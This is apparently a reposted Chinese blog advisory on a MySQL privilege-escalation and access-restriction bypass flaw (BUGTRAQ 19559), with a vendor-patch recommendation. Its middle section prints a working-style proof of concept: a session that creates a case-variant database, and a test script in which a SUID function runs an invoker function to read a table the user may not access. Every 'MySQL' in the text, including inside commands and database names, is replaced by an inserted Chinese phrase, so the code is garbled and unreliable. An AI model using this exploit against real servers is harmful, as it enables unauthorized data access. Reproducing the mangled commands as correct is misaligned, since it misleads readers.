当前位置:首页 > 系统运维 > 正文内容

MySQL权限提升与安全限制问题探讨

a8116255316年前 (2010-05-20)系统运维11

以下的文章主要讲述的是MySQL权限提升与安全限制绕过漏洞的实际应用,我前几天在相关网站看见MySQL权限提升与安全限制绕过漏洞的实际应用的资料,觉得挺好,今天就拿出来供大家分享。

影响系统:

MySQL(和PHP搭配之更佳组合) AB MySQL(和PHP搭配之更佳组合) <= 5.1.10

描述:

BUGTRAQ ID: 19559

MySQL(和PHP搭配之更佳组合)是一款使用非常广泛的开放源代码关系数据库系统,拥有各种平台的运行版本。

在MySQL(和PHP搭配之更佳组合)上,拥有访问权限但无创建权限的用户可以创建与所访问数据库仅有名称字母大小写区别的新数据库。成功利用这个漏洞要求运行MySQL(和PHP搭配之更佳组合)的文件系统支持区分大小写的文件名。

此外,由于在错误的安全环境中计算了suid例程的参数,攻击者可以通过存储的例程以例程定义者的权限执行任意DML语句。成功攻击要求用户对所存储例程拥有EXECUTE权限。

测试 *** :

1、创建数据库

$ MySQL(和PHP搭配之更佳组合) -h my.MySQL(和PHP搭配之更佳组合).server -u sample -p -A sample  Enter password:   Welcome to the MySQL(和PHP搭配之更佳组合) monitor. Commands end with ; or g.  Your MySQL(和PHP搭配之更佳组合) connection id is 263935 to server version: 4.1.16-standard  MySQL(和PHP搭配之更佳组合)> create database another;  ERROR 1044: access denied for user 'sample'@'%' to database 'another'  MySQL(和PHP搭配之更佳组合)> create database sAmple;   Query OK, 1 row affected (0.00 sec)  

2、权限提升

--disable_warnings  drop database if exists MySQL(和PHP搭配之更佳组合)test1;  drop database if exists MySQL(和PHP搭配之更佳组合)test2;  drop function if exists f_suid;  --enable_warnings  # Prepare playground  create database MySQL(和PHP搭配之更佳组合)test1;  create database MySQL(和PHP搭配之更佳组合)test2;  create user malory@localhost;  grant all privileges on MySQL(和PHP搭配之更佳组合)test1.* to malory@localhost;  # Create harmless (but SUID!) function  create function f_suid(i int) returns int return 0;  grant execute on function test.f_suid to malory@localhost;  use MySQL(和PHP搭配之更佳组合)test2;  # Create table in which malory@localhost will be interested but to which  # he won't have any access  create table t1 (i int);  connect (malcon, localhost, malory,,MySQL(和PHP搭配之更佳组合)test1);  # Correct malory@localhost don't have access to MySQL(和PHP搭配之更佳组合)test2.t1  --error ER_TABLEACCESS_DENIED_ERROR  select * from MySQL(和PHP搭配之更佳组合)test2.t1;  # Create function which will allow to exploit security hole  delimiter |;  create function f_evil ()  returns int  sql security invoker  begin  set @a:current_user();  set @b:= (select count(*) from MySQL(和PHP搭配之更佳组合)test2.t1);  return 0;  end|  delimiter ;|  # AgAIn correct  --error ER_TABLEACCESS_DENIED_ERROR  select f_evil();  select @a, @b;  # Oops!!! it seems that f_evil() is executed in the context of  # f_suid() definer, so malory@locahost gets all info that he wants  select test.f_suid(f_evil());  select @a, @b;  connection default;  drop user malory@localhost;  drop database MySQL(和PHP搭配之更佳组合)test1;  drop database MySQL(和PHP搭配之更佳组合)test2;  

建议:

厂商补丁:MySQL(和PHP搭配之更佳组合) AB,目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载。

扫描二维码推送至手机访问。

版权声明:本文由2345好导航站长资讯发布,如需转载请注明出处。

本文链接:http://www.2345hao.cn/blog/index.php/post/20472.html

分享给朋友:

“MySQL权限提升与安全限制问题探讨” 的相关文章

windows 7系统的电脑发出嘟嘟嘟的声音该怎么解决?

windows 7系统的电脑发出嘟嘟嘟的声音该怎么解决?

在某些电脑中,机器内部蜂鸣器与系统的声音输出方案是相关联的,这样一来会导致当系统输出声音时,即使电脑没有连接外部音响或耳机,也会通过内置蜂鸣器发出“嘟嘟哔哔”的声音。这个问题主要出现在Windows 7电脑中,假如你的电脑恰好遇到了这样的问题,可参考下面的方法来解决: 1、在桌面“计算机”图标上右...

如何设置Win 7通知栏重新显示电源按钮

如何设置Win 7通知栏重新显示电源按钮

有些使用本本的朋友可能会发现,右下角通知栏区域会无法显示电源按钮,导致在插上电源或者是使用电池的时候都无法进行区分。造成这种情况大部分都是因为使用了第三方修改过的系统版本或者对于系统优化过度,所以今天就来解决这个问题。 第一步:在开始菜单的搜索窗口输入“gpedit.msc”,进入组策略编辑器,依...

windows 7系统件夹和文件都不显示名字如何解决

windows 7系统件夹和文件都不显示名字如何解决

假如碰到电脑里的文件夹和文件全都不显示名字了(如下图),是不是电脑中毒了呢 请教下笔者有没好的解决方法!下面是笔者给出的答案,希望能够帮助到大家! 首先打开你用来装图片的文件夹(缩略图下面的文字不显示的文件夹),然后但击工具栏上的“查看”选择“平铺”, 下面就是关键:要按住SHIFT键不...

Windows7截图出现黑屏导致截的图黑呼呼一片

Windows7截图出现黑屏导致截的图黑呼呼一片

最近一些Windows 7用户反馈说,自己在截屏的时候出现黑屏,导致自己截的图黑呼呼一片。这个问题该怎么解决?今天小编就为大家提供一个解决的方法。 步骤 1 在windows xp时代,很多用户都曾被视频截图后的“全黑图片”困扰。对此,在解决本地播放时出现的截图变黑问题,一般有两个方法可以用来解...

windows 7旗舰版系统提示应用程序错误代码0xc0000409的故障原因

windows 7旗舰版系统提示应用程序错误代码0xc0000409的故障原因

问题现象,具体如下所示:  故障分析: 一般来说,出现这种情况是因为电脑误删系统文件或者是系统文件被顽固木马破坏。       解决方法: 1、下载360安全卫士,找到里面的急救箱开始急救,然后进行修复,完成后重新启动; 2、下载瑞...

Windows7播放电影视频蓝屏无论什么格式都会蓝屏

Windows7播放电影视频蓝屏无论什么格式都会蓝屏

问:我在Windows 7 Ultimate X64下播放电影视频时,不管什么格式都会蓝屏,错误代码“0x00000124”。换解码器、播放器不行,换驱动、内存也不管用。在不同的电脑上也试过,仍然蓝屏。请问是哪里的问题,如何解决 答:64位 Windows 7直接使用PotPlayer x64就...